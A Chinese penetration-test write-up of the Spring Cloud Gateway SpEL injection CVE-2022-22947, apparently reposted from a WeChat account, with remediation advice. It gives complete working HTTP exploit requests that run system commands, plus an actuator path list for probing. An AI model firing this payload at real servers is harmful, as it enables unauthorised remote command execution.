记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞

admin 2025年1月30日02:44:29评论16 views字数 2267阅读7分33秒阅读模式

一、基本介绍

CVE编号:CVE-2022-22947

Spring Cloud Gateway是Spring中的一个API网关。在某些版本存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

二、受影响的版本

Spring Cloud Gateway: 受影响的版本为 3.1.0 至 3.1.1 和 3.0.0 至 3.0.6。

三、过程

某次对一单位进行风险评估测试,透着透着发现actuator路径,看到这个直接想着路径扫描看看有没有Springboot Actuator未授权访问就算了(后续拼接路径后,确实也存在未授权)

记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞

后面想了想要不试试继续深入一下,验证有没有Spring-Cloud-Gateway 远程命令执行漏洞。

  • 访问
https://xxxxxxxxx/actuator/gateway/routes
记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞
  • 有戏,开始添加路由
POST /*******/actuator/gateway/routes/hack16 HTTP/2Host: **********Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (WindowsNT10.0Win64; x64) AppleWebKit/537.36 (KHTML, like GeckoChrome/97.0.4692.71Safari/537.36Content-Type: application/jsonContent-Length329{"id""hack16",   #自己随意取名   "filters": [    {      "name": "AddResponseHeader",      "args": {        "name": "Result",        "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"     #运行时执行命令id      }    }  ],  "uri": "http://example.com"}
记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞

发包后显示创建成功

  • 下一步

    POST /actuator/gateway/refresh刷新路由

POST/*****/actuator/gateway/refresh HTTP/1.1Host: *******Accept-Encoding: gzip, deflateAccept-Language: enUser-Agent: Mozilla/5.0 (WindowsNT10.0Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71Safari/537.36Content-Type: application/jsonContent-Length0
记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞
  • GET /actuator/gateway/routes/hack16

    可以看到命令成功执行

    记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞
记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞
将命令中的id替换为whoami
记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞

四、漏洞原理

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes

2、可以通过/actuator/gateway/routes/+id创建路由

3、然后/actuator/gateway/reflesh刷新路由

4、当添加的路由带有恶意的Filter,里面的spEL表达式就可能会被执行

五、修复方案

1、3.1.x用户应升级到3.1.1+;

2、3.0.x用户应升级到3.0.7+;

3、如果不需要Actuator功能,可以配置management.endpoint.gateway.enable:false

六、附录

分享一些常见的Spring-boot渗透中可能有用的路径

/actuator/actuator/metrics/actuator/mappings/actuator/beans/actuator/configprops/actuator/auditevents/actuator/health/actuator/conditions/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/scheduledtasks/actuator/httptrace/actuator/jolokia/actuator/hystrix.stream/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump

原文始发于微信公众号(实战安全研究):记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月30日02:44:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次实际环境中遇到的Spring Cloud Gateway远程命令执行漏洞https://cn-sec.com/archives/3664608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息